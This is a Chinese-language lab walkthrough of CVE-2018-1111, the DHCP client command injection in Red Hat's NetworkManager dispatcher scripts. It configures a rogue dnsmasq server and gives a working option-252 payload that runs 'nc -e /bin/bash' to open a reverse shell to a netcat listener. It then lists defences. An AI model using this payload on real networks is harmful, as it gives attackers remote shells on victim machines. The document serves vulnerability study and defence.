CVE-2018-1111复现环境搭建与dhcp命令注入
字数 1132 2025-08-18 11:37:49
CVE-2018-1111 DHCP客户端命令注入漏洞复现与分析
漏洞概述
CVE-2018-1111是一个存在于Red Hat Enterprise Linux DHCP客户端中的命令注入漏洞。该漏洞影响Red Hat提供的DHCP客户端软件包dhclient的脚本文件:
- RHEL 7:
/etc/NetworkManager/dispatcher.d/11-dhclient - RHEL 6:
/etc/NetworkManager/dispatcher.d/10-dhclient
当NetworkManager组件从DHCP服务器收到DHCP响应时执行这些脚本,攻击者可以通过构造恶意的DHCP响应实现命令注入。
漏洞原理
漏洞根源在于DHCP客户端处理DHCP响应时,未对从服务器接收的特定参数(特别是option 252)进行充分验证,导致攻击者可以通过注入特殊字符执行任意命令。
环境准备
实验环境配置
- 攻击机: Kali Linux 2018 x64 (192.168.71.5)
- 受害机: CentOS 7 x64 (192.168.71.10)
网络设置
- 在VMware中设置仅主机模式网络
- 关闭DHCP服务
- 手动配置IP地址
漏洞复现步骤
1. 攻击机网络配置
ifconfig eth0 192.168.71.5 netmask 255.255.255.0
route add default gw 192.168.71.5
2. 配置dnsmasq服务
创建dnsmasq.conf配置文件:
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.71.10,192.168.71.20,12h
dhcp-option=3,192.168.71.5
dhcp-option=6,192.168.71.5
log-queries
log-facility=/var/log/dnsmasq.log
参数说明:
dhcp-range: 分配给客户端的IP范围和租约时间dhcp-option 3: 设置网关地址dhcp-option 6: 设置DNS服务器地址
3. 构造恶意DHCP响应
使用以下payload启动dnsmasq服务:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"
payload解释:
- 利用option 252注入命令
'用于闭合原有命令&用于执行新命令#用于注释掉后续内容
4. 设置监听
在攻击机上设置netcat监听:
nc -l -p 6666 -v
5. 触发漏洞
在受害机上重启网络服务:
systemctl restart NetworkManager
漏洞分析
- 漏洞触发点: NetworkManager的dispatcher脚本在处理DHCP响应时,直接将option 252的值拼接进命令中执行
- 注入原理: 未对特殊字符(
',&,#等)进行过滤,导致命令注入 - 利用条件: 攻击者需要能够向目标发送恶意DHCP响应(通常需要位于同一局域网)
防御措施
- 及时更新系统补丁
- 限制网络接口仅接受可信DHCP服务器
- 使用网络访问控制(如802.1X)防止恶意DHCP服务器
- 对DHCP客户端脚本进行安全审计
参考链接
注:本文仅用于安全研究和教学目的,请勿用于非法用途